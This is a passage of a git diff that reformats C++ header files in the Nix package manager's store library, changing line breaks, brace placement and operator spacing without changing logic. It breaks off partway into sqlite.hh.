a/src/libstore/include/nix/store/make-content-addressed.hh b/src/libstore/include/nix/store/make-content-addressed.hh index 3881b6d40..2b1cd9695 100644 --- a/src/libstore/include/nix/store/make-content-addressed.hh +++ b/src/libstore/include/nix/store/make-content-addressed.hh @@ -7,18 +7,12 @@ namespace nix { /** Rewrite a closure of store paths to be completely content addressed. */ -std::map makeContentAddressed( - Store & srcStore, - Store & dstStore, - const StorePathSet & rootPaths); +std::map makeContentAddressed(Store & srcStore, Store & dstStore, const StorePathSet & rootPaths); /** Rewrite a closure of a store path to be completely content addressed. * * This is a convenience function for the case where you only have one root path. */ -StorePath makeContentAddressed( - Store & srcStore, - Store & dstStore, - const StorePath & rootPath); +StorePath makeContentAddressed(Store & srcStore, Store & dstStore, const StorePath & rootPath); } diff --git a/src/libstore/include/nix/store/names.hh b/src/libstore/include/nix/store/names.hh index ab315de63..9116dc0a3 100644 --- a/src/libstore/include/nix/store/names.hh +++ b/src/libstore/include/nix/store/names.hh @@ -28,8 +28,7 @@ private: typedef std::list DrvNames; -std::string_view nextComponent(std::string_view::const_iterator & p, - const std::string_view::const_iterator end); +std::string_view nextComponent(std::string_view::const_iterator & p, const std::string_view::const_iterator end); std::strong_ordering compareVersions(const std::string_view v1, const std::string_view v2); DrvNames drvNamesFromArgs(const Strings & opArgs); diff --git a/src/libstore/include/nix/store/nar-accessor.hh b/src/libstore/include/nix/store/nar-accessor.hh index 199d525cb..c53efc7a4 100644 --- a/src/libstore/include/nix/store/nar-accessor.hh +++ b/src/libstore/include/nix/store/nar-accessor.hh @@ -27,9 +27,7 @@ ref makeNarAccessor(Source & source); */ using GetNarBytes = std::function; -ref makeLazyNarAccessor( - const std::string & listing, - GetNarBytes getNarBytes); +ref makeLazyNarAccessor(const std::string & listing, GetNarBytes getNarBytes); /** * Write a JSON representation of the contents of a NAR (except file diff --git a/src/libstore/include/nix/store/nar-info-disk-cache.hh b/src/libstore/include/nix/store/nar-info-disk-cache.hh index a7fde1fbf..324a6877e 100644 --- a/src/libstore/include/nix/store/nar-info-disk-cache.hh +++ b/src/libstore/include/nix/store/nar-info-disk-cache.hh @@ -12,10 +12,9 @@ class NarInfoDiskCache public: typedef enum { oValid, oInvalid, oUnknown } Outcome; - virtual ~NarInfoDiskCache() { } + virtual ~NarInfoDiskCache() {} - virtual int createCache(const std::string & uri, const Path & storeDir, - bool wantMassQuery, int priority) = 0; + virtual int createCache(const std::string & uri, const Path & storeDir, bool wantMassQuery, int priority) = 0; struct CacheInfo { @@ -26,21 +25,16 @@ public: virtual std::optional upToDateCacheExists(const std::string & uri) = 0; - virtual std::pair> lookupNarInfo( - const std::string & uri, const std::string & hashPart) = 0; + virtual std::pair> + lookupNarInfo(const std::string & uri, const std::string & hashPart) = 0; - virtual void upsertNarInfo( - const std::string & uri, const std::string & hashPart, - std::shared_ptr info) = 0; + virtual void + upsertNarInfo(const std::string & uri, const std::string & hashPart, std::shared_ptr info) = 0; - virtual void upsertRealisation( - const std::string & uri, - const Realisation & realisation) = 0; - virtual void upsertAbsentRealisation( - const std::string & uri, - const DrvOutput & id) = 0; - virtual std::pair> lookupRealisation( - const std::string & uri, const DrvOutput & id) = 0; + virtual void upsertRealisation(const std::string & uri, const Realisation & realisation) = 0; + virtual void upsertAbsentRealisation(const std::string & uri, const DrvOutput & id) = 0; + virtual std::pair> + lookupRealisation(const std::string & uri, const DrvOutput & id) = 0; }; /** diff --git a/src/libstore/include/nix/store/nar-info.hh b/src/libstore/include/nix/store/nar-info.hh index d66b6e058..f9d66a85a 100644 --- a/src/libstore/include/nix/store/nar-info.hh +++ b/src/libstore/include/nix/store/nar-info.hh @@ -19,25 +19,26 @@ struct NarInfo : ValidPathInfo NarInfo() = delete; NarInfo(const Store & store, std::string name, ContentAddressWithReferences ca, Hash narHash) : ValidPathInfo(store, std::move(name), std::move(ca), narHash) - { } - NarInfo(StorePath path, Hash narHash) : ValidPathInfo(std::move(path), narHash) { } - NarInfo(const ValidPathInfo & info) : ValidPathInfo(info) { } + { + } + NarInfo(StorePath path, Hash narHash) + : ValidPathInfo(std::move(path), narHash) + { + } + NarInfo(const ValidPathInfo & info) + : ValidPathInfo(info) + { + } NarInfo(const Store & store, const std::string & s, const std::string & whence); - bool operator ==(const NarInfo &) const = default; + bool operator==(const NarInfo &) const = default; // TODO libc++ 16 (used by darwin) missing `std::optional::operator <=>`, can't do yet - //auto operator <=>(const NarInfo &) const = default; + // auto operator <=>(const NarInfo &) const = default; std::string to_string(const Store & store) const; - nlohmann::json toJSON( - const Store & store, - bool includeImpureInfo, - HashFormat hashFormat) const override; - static NarInfo fromJSON( - const Store & store, - const StorePath & path, - const nlohmann::json & json); + nlohmann::json toJSON(const Store & store, bool includeImpureInfo, HashFormat hashFormat) const override; + static NarInfo fromJSON(const Store & store, const StorePath & path, const nlohmann::json & json); }; } diff --git a/src/libstore/include/nix/store/outputs-spec.hh b/src/libstore/include/nix/store/outputs-spec.hh index b89f425c2..c56d54596 100644 --- a/src/libstore/include/nix/store/outputs-spec.hh +++ b/src/libstore/include/nix/store/outputs-spec.hh @@ -23,25 +23,31 @@ typedef std::string OutputName; */ typedef std::string_view OutputNameView; -struct OutputsSpec { +struct OutputsSpec +{ /** * A non-empty set of outputs, specified by name */ - struct Names : std::set { + struct Names : std::set + { using std::set::set; /* These need to be "inherited manually" */ Names(const std::set & s) : std::set(s) - { assert(!empty()); } + { + assert(!empty()); + } /** * Needs to be "inherited manually" */ Names(std::set && s) : std::set(s) - { assert(!empty()); } + { + assert(!empty()); + } /* This set should always be non-empty, so we delete this constructor in order make creating empty ones by mistake harder. @@ -52,15 +58,17 @@ struct OutputsSpec { /** * The set of all outputs, without needing to name them explicitly */ - struct All : std::monostate { }; + struct All : std::monostate + {}; typedef std::variant Raw; Raw raw; - bool operator == (const OutputsSpec &) const = default; + bool operator==(const OutputsSpec &) const = default; // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. - bool operator < (const OutputsSpec & other) const { + bool operator<(const OutputsSpec & other) const + { return raw < other.raw; } @@ -93,17 +101,19 @@ struct OutputsSpec { std::string to_string() const; }; -struct ExtendedOutputsSpec { - struct Default : std::monostate { }; +struct ExtendedOutputsSpec +{ + struct Default : std::monostate + {}; using Explicit = OutputsSpec; typedef std::variant Raw; Raw raw; - bool operator == (const ExtendedOutputsSpec &) const = default; + bool operator==(const ExtendedOutputsSpec &) const = default; // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. - bool operator < (const ExtendedOutputsSpec &) const; + bool operator<(const ExtendedOutputsSpec &) const; MAKE_WRAPPER_CONSTRUCTOR(ExtendedOutputsSpec); diff --git a/src/libstore/include/nix/store/path-info.hh b/src/libstore/include/nix/store/path-info.hh index 9bd493422..f6da3e49d 100644 --- a/src/libstore/include/nix/store/path-info.hh +++ b/src/libstore/include/nix/store/path-info.hh @@ -11,10 +11,8 @@ namespace nix { - class Store; - struct SubstitutablePathInfo { std::optional deriver; @@ -31,7 +29,6 @@ struct SubstitutablePathInfo using SubstitutablePathInfos = std::map; - /** * Information about a store object. * @@ -103,35 +100,32 @@ struct UnkeyedValidPathInfo UnkeyedValidPathInfo(const UnkeyedValidPathInfo & other) = default; - UnkeyedValidPathInfo(Hash narHash) : narHash(narHash) { }; + UnkeyedValidPathInfo(Hash narHash) + : narHash(narHash) {}; - bool operator == (const UnkeyedValidPathInfo &) const noexcept; + bool operator==(const UnkeyedValidPathInfo &) const noexcept; /** * @todo return `std::strong_ordering` once `id` is removed */ - std::weak_ordering operator <=> (const UnkeyedValidPathInfo &) const noexcept; + std::weak_ordering operator<=>(const UnkeyedValidPathInfo &) const noexcept; - virtual ~UnkeyedValidPathInfo() { } + virtual ~UnkeyedValidPathInfo() {} /** * @param includeImpureInfo If true, variable elements such as the * registration time are included. */ - virtual nlohmann::json toJSON( - const Store & store, - bool includeImpureInfo, - HashFormat hashFormat) const; - static UnkeyedValidPathInfo fromJSON( - const Store & store, - const nlohmann::json & json); + virtual nlohmann::json toJSON(const Store & store, bool includeImpureInfo, HashFormat hashFormat) const; + static UnkeyedValidPathInfo fromJSON(const Store & store, const nlohmann::json & json); }; -struct ValidPathInfo : UnkeyedValidPathInfo { +struct ValidPathInfo : UnkeyedValidPathInfo +{ StorePath path; - bool operator == (const ValidPathInfo &) const = default; - auto operator <=> (const ValidPathInfo &) const = default; + bool operator==(const ValidPathInfo &) const = default; + auto operator<=>(const ValidPathInfo &) const = default; /** * Return a fingerprint of the store path to be used in binary @@ -176,11 +170,14 @@ struct ValidPathInfo : UnkeyedValidPathInfo { */ Strings shortRefs() const; - ValidPathInfo(StorePath && path, UnkeyedValidPathInfo info) : UnkeyedValidPathInfo(info), path(std::move(path)) { }; - ValidPathInfo(const StorePath & path, UnkeyedValidPathInfo info) : UnkeyedValidPathInfo(info), path(path) { }; + ValidPathInfo(StorePath && path, UnkeyedValidPathInfo info) + : UnkeyedValidPathInfo(info) + , path(std::move(path)) {}; + ValidPathInfo(const StorePath & path, UnkeyedValidPathInfo info) + : UnkeyedValidPathInfo(info) + , path(path) {}; - ValidPathInfo(const Store & store, - std::string_view name, ContentAddressWithReferences && ca, Hash narHash); + ValidPathInfo(const Store & store, std::string_view name, ContentAddressWithReferences && ca, Hash narHash); }; static_assert(std::is_move_assignable_v); diff --git a/src/libstore/include/nix/store/path-regex.hh b/src/libstore/include/nix/store/path-regex.hh index e34a305c5..2fbe0ba6b 100644 --- a/src/libstore/include/nix/store/path-regex.hh +++ b/src/libstore/include/nix/store/path-regex.hh @@ -5,11 +5,11 @@ namespace nix { - static constexpr std::string_view nameRegexStr = // This uses a negative lookahead: (?!\.\.?(-|$)) // - deny ".", "..", or those strings followed by '-' - // - when it's not those, start again at the start of the input and apply the next regex, which is [0-9a-zA-Z\+\-\._\?=]+ + // - when it's not those, start again at the start of the input and apply the next regex, which is + // [0-9a-zA-Z\+\-\._\?=]+ R"((?!\.\.?(-|$))[0-9a-zA-Z\+\-\._\?=]+)"; } diff --git a/src/libstore/include/nix/store/path.hh b/src/libstore/include/nix/store/path.hh index 279e9dba4..3b9cdde4f 100644 --- a/src/libstore/include/nix/store/path.hh +++ b/src/libstore/include/nix/store/path.hh @@ -12,7 +12,8 @@ struct Hash; /** * Check whether a name is a valid store path name. * - * @throws BadStorePathName if the name is invalid. The message is of the format "name %s is not valid, for this specific reason". + * @throws BadStorePathName if the name is invalid. The message is of the format "name %s is not valid, for this + * specific reason". */ void checkName(std::string_view name); @@ -49,8 +50,8 @@ public: return baseName; } - bool operator == (const StorePath & other) const noexcept = default; - auto operator <=> (const StorePath & other) const noexcept = default; + bool operator==(const StorePath & other) const noexcept = default; + auto operator<=>(const StorePath & other) const noexcept = default; /** * Check whether a file name ends with the extension for derivations. @@ -90,10 +91,12 @@ constexpr std::string_view drvExtension = ".drv"; namespace std { -template<> struct hash { +template<> +struct hash +{ std::size_t operator()(const nix::StorePath & path) const noexcept { - return * (std::size_t *) path.to_string().data(); + return *(std::size_t *) path.to_string().data(); } }; diff --git a/src/libstore/include/nix/store/pathlocks.hh b/src/libstore/include/nix/store/pathlocks.hh index 33cad7868..8f322279e 100644 --- a/src/libstore/include/nix/store/pathlocks.hh +++ b/src/libstore/include/nix/store/pathlocks.hh @@ -30,11 +30,8 @@ private: public: PathLocks(); - PathLocks(const PathSet & paths, - const std::string & waitMsg = ""); - bool lockPaths(const PathSet & _paths, - const std::string & waitMsg = "", - bool wait = true); + PathLocks(const PathSet & paths, const std::string & waitMsg = ""); + bool lockPaths(const PathSet & _paths, const std::string & waitMsg = "", bool wait = true); ~PathLocks(); void unlock(); void setDeletion(bool deletePaths); diff --git a/src/libstore/include/nix/store/posix-fs-canonicalise.hh b/src/libstore/include/nix/store/posix-fs-canonicalise.hh index 1d6696023..7cd1b3812 100644 --- a/src/libstore/include/nix/store/posix-fs-canonicalise.hh +++ b/src/libstore/include/nix/store/posix-fs-canonicalise.hh @@ -12,7 +12,6 @@ namespace nix { typedef std::pair Inode; typedef std::set InodesSeen; - /** * "Fix", or canonicalise, the meta-data of the files in a store path * after it has been built. In particular: @@ -40,9 +39,10 @@ void canonicalisePathMetaData( void canonicalisePathMetaData( const Path & path #ifndef _WIN32 - , std::optional> uidRange = std::nullopt + , + std::optional> uidRange = std::nullopt #endif - ); +); void canonicaliseTimestampAndPermissions(const Path & path); diff --git a/src/libstore/include/nix/store/profiles.hh b/src/libstore/include/nix/store/profiles.hh index 804c6e2b7..a17e0ec4c 100644 --- a/src/libstore/include/nix/store/profiles.hh +++ b/src/libstore/include/nix/store/profiles.hh @@ -13,12 +13,10 @@ #include #include - namespace nix { class StorePath; - /** * A positive number identifying a generation for a given profile. * @@ -66,7 +64,6 @@ struct Generation */ typedef std::list Generations; - /** * Find all generations for the given profile. * @@ -119,7 +116,8 @@ void deleteGeneration(const Path & profile, GenerationNumber gen); /** * Delete the given set of generations. * - * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to + * delete. * * @param gensToDelete The generations to delete, specified by a set of * numbers. @@ -135,7 +133,8 @@ void deleteGenerations(const Path & profile, const std::set & /** * Delete generations older than `max` passed the current generation. * - * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to + * delete. * * @param max How many generations to keep up to the current one. Must * be at least 1 so we don't delete the current one. @@ -148,7 +147,8 @@ void deleteGenerationsGreaterThan(const Path & profile, GenerationNumber max, bo /** * Delete all generations other than the current one * - * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to + * delete. * * @param dryRun Log what would be deleted instead of actually doing * so. @@ -159,7 +159,8 @@ void deleteOldGenerations(const Path & profile, bool dryRun); * Delete generations older than `t`, except for the most recent one * older than `t`. * - * @param profile The profile, specified by its name and location combined into a path, whose generations we want to delete. + * @param profile The profile, specified by its name and location combined into a path, whose generations we want to + * delete. * * @param dryRun Log what would be deleted instead of actually doing * so. @@ -185,10 +186,7 @@ void switchLink(Path link, Path target); * Roll back a profile to the specified generation, or to the most * recent one older than the current. */ -void switchGeneration( - const Path & profile, - std::optional dstGen, - bool dryRun); +void switchGeneration(const Path & profile, std::optional dstGen, bool dryRun); /** * Ensure exclusive access to a profile. Any command that modifies diff --git a/src/libstore/include/nix/store/realisation.hh b/src/libstore/include/nix/store/realisation.hh index b93ae37b6..70bc92af8 100644 --- a/src/libstore/include/nix/store/realisation.hh +++ b/src/libstore/include/nix/store/realisation.hh @@ -21,7 +21,8 @@ struct OutputsSpec; * This is similar to a `DerivedPath::Opaque`, but the derivation is * identified by its "hash modulo" instead of by its store path. */ -struct DrvOutput { +struct DrvOutput +{ /** * The hash modulo of the derivation. * @@ -39,14 +40,17 @@ struct DrvOutput { std::string to_string() const; std::string strHash() const - { return drvHash.to_string(HashFormat::Base16, true); } + { + return drvHash.to_string(HashFormat::Base16, true); + } static DrvOutput parse(const std::string &); GENERATE_CMP(DrvOutput, me->drvHash, me->outputName); }; -struct Realisation { +struct Realisation +{ DrvOutput id; StorePath outPath; @@ -61,7 +65,7 @@ struct Realisation { std::map dependentRealisations; nlohmann::json toJSON() const; - static Realisation fromJSON(const nlohmann::json& json, const std::string& whence); + static Realisation fromJSON(const nlohmann::json & json, const std::string & whence); std::string fingerprint() const; void sign(const Signer &); @@ -73,7 +77,10 @@ struct Realisation { bool isCompatibleWith(const Realisation & other) const; - StorePath getPath() const { return outPath; } + StorePath getPath() const + { + return outPath; + } GENERATE_CMP(Realisation, me->id, me->outPath); }; @@ -100,22 +107,25 @@ typedef std::map DrvOutputs; * * Moves the `outputs` input. */ -SingleDrvOutputs filterDrvOutputs(const OutputsSpec&, SingleDrvOutputs&&); +SingleDrvOutputs filterDrvOutputs(const OutputsSpec &, SingleDrvOutputs &&); - -struct OpaquePath { +struct OpaquePath +{ StorePath path; - StorePath getPath() const { return path; } + StorePath getPath() const + { + return path; + } GENERATE_CMP(OpaquePath, me->path); }; - /** * A store path with all the history of how it went into the store */ -struct RealisedPath { +struct RealisedPath +{ /* * A path is either the result of the realisation of a derivation or * an opaque blob that has been directly added to the store @@ -125,17 +135,23 @@ struct RealisedPath { using Set = std::set; - RealisedPath(StorePath path) : raw(OpaquePath{path}) {} - RealisedPath(Realisation r) : raw(r) {} + RealisedPath(StorePath path) + : raw(OpaquePath{path}) + { + } + RealisedPath(Realisation r) + : raw(r) + { + } /** * Get the raw store path associated to this */ StorePath path() const; - void closure(Store& store, Set& ret) const; - static void closure(Store& store, const Set& startPaths, Set& ret); - Set closure(Store& store) const; + void closure(Store & store, Set & ret) const; + static void closure(Store & store, const Set & startPaths, Set & ret); + Set closure(Store & store) const; GENERATE_CMP(RealisedPath, me->raw); }; @@ -145,13 +161,16 @@ class MissingRealisation : public Error public: MissingRealisation(DrvOutput & outputId) : MissingRealisation(outputId.outputName, outputId.strHash()) - {} + { + } MissingRealisation(std::string_view drv, OutputName outputName) - : Error( "cannot operate on output '%s' of the " - "unbuilt derivation '%s'", - outputName, - drv) - {} + : Error( + "cannot operate on output '%s' of the " + "unbuilt derivation '%s'", + outputName, + drv) + { + } }; } diff --git a/src/libstore/include/nix/store/remote-fs-accessor.hh b/src/libstore/include/nix/store/remote-fs-accessor.hh index 75a840fb0..234223d25 100644 --- a/src/libstore/include/nix/store/remote-fs-accessor.hh +++ b/src/libstore/include/nix/store/remote-fs-accessor.hh @@ -27,9 +27,8 @@ class RemoteFSAccessor : public SourceAccessor public: - RemoteFSAccessor(ref store, - bool requireValidPath = true, - const /* FIXME: use std::optional */ Path & cacheDir = ""); + RemoteFSAccessor( + ref store, bool requireValidPath = true, const /* FIXME: use std::optional */ Path & cacheDir = ""); std::optional maybeLstat(const CanonPath & path) override; diff --git a/src/libstore/include/nix/store/remote-store-connection.hh b/src/libstore/include/nix/store/remote-store-connection.hh index 33ec265c2..d6d1e0a05 100644 --- a/src/libstore/include/nix/store/remote-store-connection.hh +++ b/src/libstore/include/nix/store/remote-store-connection.hh @@ -15,8 +15,7 @@ namespace nix { * Contains `Source` and `Sink` for actual communication, along with * other information learned when negotiating the connection. */ -struct RemoteStore::Connection : WorkerProto::BasicClientConnection, - WorkerProto::ClientHandshakeInfo +struct RemoteStore::Connection : WorkerProto::BasicClientConnection, WorkerProto::ClientHandshakeInfo { /** * Time this connection was established. @@ -38,16 +37,24 @@ struct RemoteStore::ConnectionHandle ConnectionHandle(Pool::Handle && handle) : handle(std::move(handle)) - { } + { + } ConnectionHandle(ConnectionHandle && h) noexcept : handle(std::move(h.handle)) - { } + { + } ~ConnectionHandle(); - RemoteStore::Connection & operator * () { return *handle; } - RemoteStore::Connection * operator -> () { return &*handle; } + RemoteStore::Connection & operator*() + { + return *handle; + } + RemoteStore::Connection * operator->() + { + return &*handle; + } void processStderr(Sink * sink = 0, Source * source = 0, bool flush = true, bool block = true); diff --git a/src/libstore/include/nix/store/remote-store.hh b/src/libstore/include/nix/store/remote-store.hh index ecf18bd76..364940e41 100644 --- a/src/libstore/include/nix/store/remote-store.hh +++ b/src/libstore/include/nix/store/remote-store.hh @@ -8,24 +8,24 @@ #include "nix/store/gc-store.hh" #include "nix/store/log-store.hh" - namespace nix { - class Pipe; class Pid; struct FdSink; struct FdSource; -template class Pool; +template +class Pool; struct RemoteStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; - const Setting maxConnections{this, 1, "max-connections", - "Maximum number of concurrent connections to the Nix daemon."}; + const Setting maxConnections{ + this, 1, "max-connections", "Maximum number of concurrent connections to the Nix daemon."}; - const Setting maxConnectionAge{this, + const Setting maxConnectionAge{ + this, std::numeric_limits::max(), "max-connection-age", "Maximum age of a connection before it is closed."}; @@ -36,9 +36,9 @@ struct RemoteStoreConfig : virtual StoreConfig * DaemonStore. */ class RemoteStore : public virtual RemoteStoreConfig, - public virtual Store, - public virtual GcStore, - public virtual LogStore + public virtual Store, + public virtual GcStore, + public virtual LogStore { public: @@ -48,13 +48,12 @@ public: bool isValidPathUncached(const StorePath & path) override; - StorePathSet queryValidPaths(const StorePathSet & paths, - SubstituteFlag maybeSubstitute = NoSubstitute) override; + StorePathSet queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute = NoSubstitute) override; StorePathSet queryAllValidPaths() override; - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override; + void queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept override; void queryReferrers(const StorePath & path, StorePathSet & referrers) override; @@ -62,24 +61,24 @@ public: StorePathSet queryDerivationOutputs(const StorePath & path) override; - std::map> queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore = nullptr) override; + std::map> + queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore = nullptr) override; std::optional queryPathFromHashPart(const std::string & hashPart) override; StorePathSet querySubstitutablePaths(const StorePathSet & paths) override; - void querySubstitutablePathInfos(const StorePathCAMap & paths, - SubstitutablePathInfos & infos) override; + void querySubstitutablePathInfos(const StorePathCAMap & paths, SubstitutablePathInfos & infos) override; /** * Add a content-addressable store path. `dump` will be drained. */ ref addCAToStore( - Source & dump, - std::string_view name, - ContentAddressMethod caMethod, - HashAlgorithm hashAlgo, - const StorePathSet & references, - RepairFlag repair); + Source & dump, + std::string_view name, + ContentAddressMethod caMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair); /** * Add a content-addressable store path. `dump` will be drained. @@ -93,34 +92,25 @@ public: const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) override; - void addToStore(const ValidPathInfo & info, Source & nar, - RepairFlag repair, CheckSigsFlag checkSigs) override; + void addToStore(const ValidPathInfo & info, Source & nar, RepairFlag repair, CheckSigsFlag checkSigs) override; - void addMultipleToStore( - Source & source, - RepairFlag repair, - CheckSigsFlag checkSigs) override; + void addMultipleToStore(Source & source, RepairFlag repair, CheckSigsFlag checkSigs) override; - void addMultipleToStore( - PathsSource && pathsToCopy, - Activity & act, - RepairFlag repair, - CheckSigsFlag checkSigs) override; + void + addMultipleToStore(PathsSource && pathsToCopy, Activity & act, RepairFlag repair, CheckSigsFlag checkSigs) override; void registerDrvOutput(const Realisation & info) override; - void queryRealisationUncached(const DrvOutput &, - Callback> callback) noexcept override; + void queryRealisationUncached( + const DrvOutput &, Callback> callback) noexcept override; - void buildPaths(const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) override; + void + buildPaths(const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) override; std::vector buildPathsWithResults( - const std::vector & paths, - BuildMode buildMode, - std::shared_ptr evalStore) override; + const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) override; - BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) override; + BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode) override; void ensurePath(const StorePath & path) override; @@ -143,13 +133,19 @@ public: * without it being a breaking change. */ void repairPath(const StorePath & path) override - { unsupported("repairPath"); } + { + unsupported("repairPath"); + } void addSignatures(const StorePath & storePath, const StringSet & sigs) override; - void queryMissing(const std::vector & targets, - StorePathSet & willBuild, StorePathSet & willSubstitute, StorePathSet & unknown, - uint64_t & downloadSize, uint64_t & narSize) override; + void queryMissing( + const std::vector & targets, + StorePathSet & willBuild, + StorePathSet & willSubstitute, + StorePathSet & unknown, + uint64_t & downloadSize, + uint64_t & narSize) override; void addBuildLog(const StorePath & drvPath, std::string_view log) override; @@ -193,9 +189,7 @@ private: std::atomic_bool failed{false}; - void copyDrvsFromEvalStore( - const std::vector & paths, - std::shared_ptr evalStore); + void copyDrvsFromEvalStore(const std::vector & paths, std::shared_ptr evalStore); }; } diff --git a/src/libstore/include/nix/store/s3.hh b/src/libstore/include/nix/store/s3.hh index 9c159ba0f..95f92dc07 100644 --- a/src/libstore/include/nix/store/s3.hh +++ b/src/libstore/include/nix/store/s3.hh @@ -3,13 +3,21 @@ #include "store-config-private.hh" #if NIX_WITH_S3_SUPPORT -#include "nix/util/ref.hh" +# include "nix/util/ref.hh" -#include -#include +# include +# include -namespace Aws { namespace Client { struct ClientConfiguration; } } -namespace Aws { namespace S3 { class S3Client; } } +namespace Aws { +namespace Client { +struct ClientConfiguration; +} +} +namespace Aws { +namespace S3 { +class S3Client; +} +} namespace nix { @@ -18,9 +26,14 @@ struct S3Helper ref config; ref client; - S3Helper(const std::string & profile, const std::string & region, const std::string & scheme, const std::string & endpoint); + S3Helper( + const std::string & profile, + const std::string & region, + const std::string & scheme, + const std::string & endpoint); - ref makeConfig(const std::string & region, const std::string & scheme, const std::string & endpoint); + ref + makeConfig(const std::string & region, const std::string & scheme, const std::string & endpoint); struct FileTransferResult { @@ -28,8 +41,7 @@ struct S3Helper unsigned int durationMs; }; - FileTransferResult getObject( - const std::string & bucketName, const std::string & key); + FileTransferResult getObject(const std::string & bucketName, const std::string & key); }; } diff --git a/src/libstore/include/nix/store/serve-protocol-impl.hh b/src/libstore/include/nix/store/serve-protocol-impl.hh index 769b9ae2b..660cf748f 100644 --- a/src/libstore/include/nix/store/serve-protocol-impl.hh +++ b/src/libstore/include/nix/store/serve-protocol-impl.hh @@ -15,14 +15,15 @@ namespace nix { /* protocol-agnostic templates */ -#define SERVE_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ - TEMPLATE T ServeProto::Serialise< T >::read(const StoreDirConfig & store, ServeProto::ReadConn conn) \ - { \ - return LengthPrefixedProtoHelper::read(store, conn); \ - } \ - TEMPLATE void ServeProto::Serialise< T >::write(const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t) \ - { \ - LengthPrefixedProtoHelper::write(store, conn, t); \ +#define SERVE_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ + TEMPLATE T ServeProto::Serialise::read(const StoreDirConfig & store, ServeProto::ReadConn conn) \ + { \ + return LengthPrefixedProtoHelper::read(store, conn); \ + } \ + TEMPLATE void ServeProto::Serialise::write( \ + const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t) \ + { \ + LengthPrefixedProtoHelper::write(store, conn, t); \ } SERVE_USE_LENGTH_PREFIX_SERIALISER(template, std::vector) @@ -42,14 +43,11 @@ struct ServeProto::Serialise { static T read(const StoreDirConfig & store, ServeProto::ReadConn conn) { - return CommonProto::Serialise::read(store, - CommonProto::ReadConn { .from = conn.from }); + return CommonProto::Serialise::read(store, CommonProto::ReadConn{.from = conn.from}); } static void write(const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t) { - CommonProto::Serialise::write(store, - CommonProto::WriteConn { .to = conn.to }, - t); + CommonProto::Serialise::write(store, CommonProto::WriteConn{.to = conn.to}, t); } }; diff --git a/src/libstore/include/nix/store/serve-protocol.hh b/src/libstore/include/nix/store/serve-protocol.hh index 76f0ecd49..5d21c71e2 100644 --- a/src/libstore/include/nix/store/serve-protocol.hh +++ b/src/libstore/include/nix/store/serve-protocol.hh @@ -12,7 +12,6 @@ namespace nix { #define GET_PROTOCOL_MAJOR(x) ((x) & 0xff00) #define GET_PROTOCOL_MINOR(x) ((x) & 0x00ff) - struct StoreDirConfig; struct Source; @@ -20,7 +19,6 @@ struct Source; struct BuildResult; struct UnkeyedValidPathInfo; - /** * The "serve protocol", used by ssh:// stores. * @@ -45,7 +43,8 @@ struct ServeProto * A unidirectional read connection, to be used by the read half of the * canonical serializers below. */ - struct ReadConn { + struct ReadConn + { Source & from; Version version; }; @@ -54,7 +53,8 @@ struct ServeProto * A unidirectional write connection, to be used by the write half of the * canonical serializers below. */ - struct WriteConn { + struct WriteConn + { Sink & to; Version version; }; @@ -104,8 +104,7 @@ struct ServeProto struct BuildOptions; }; -enum struct ServeProto::Command : uint64_t -{ +enum struct ServeProto::Command : uint64_t { QueryValidPaths = 1, QueryPathInfos = 2, DumpStorePath = 3, @@ -117,8 +116,8 @@ enum struct ServeProto::Command : uint64_t AddToStoreNar = 9, }; - -struct ServeProto::BuildOptions { +struct ServeProto::BuildOptions +{ /** * Default value in this and every other field is so tests pass when * testing older deserialisers which do not set all the fields. @@ -130,7 +129,7 @@ struct ServeProto::BuildOptions { bool enforceDeterminism = -1; bool keepFailed = -1; - bool operator == (const ServeProto::BuildOptions &) const = default; + bool operator==(const ServeProto::BuildOptions &) const = default; }; /** @@ -139,7 +138,7 @@ struct ServeProto::BuildOptions { * @todo Switch to using `ServeProto::Serialize` instead probably. But * this was not done at this time so there would be less churn. */ -inline Sink & operator << (Sink & sink, ServeProto::Command op) +inline Sink & operator<<(Sink & sink, ServeProto::Command op) { return sink << (uint64_t) op; } @@ -149,7 +148,7 @@ inline Sink & operator << (Sink & sink, ServeProto::Command op) * * @todo Perhaps render known opcodes more nicely. */ -inline std::ostream & operator << (std::ostream & s, ServeProto::Command op) +inline std::ostream & operator<<(std::ostream & s, ServeProto::Command op) { return s << (uint64_t) op; } @@ -164,10 +163,10 @@ inline std::ostream & operator << (std::ostream & s, ServeProto::Command op) * be legal specialization syntax. See below for what that looks like in * practice. */ -#define DECLARE_SERVE_SERIALISER(T) \ - struct ServeProto::Serialise< T > \ - { \ - static T read(const StoreDirConfig & store, ServeProto::ReadConn conn); \ +#define DECLARE_SERVE_SERIALISER(T) \ + struct ServeProto::Serialise \ + { \ + static T read(const StoreDirConfig & store, ServeProto::ReadConn conn); \ static void write(const StoreDirConfig & store, ServeProto::WriteConn conn, const T & t); \ }; diff --git a/src/libstore/include/nix/store/sqlite.hh b/src/libstore/include/nix/store/sqlite.hh index 266930d75..b86f59d76 100644 --- a/src/libstore/include/nix/store/sqlite.hh +++ b/src/libstore/include/nix/store/sqlite.hh @@ -38,14 +38,22 @@ enum class 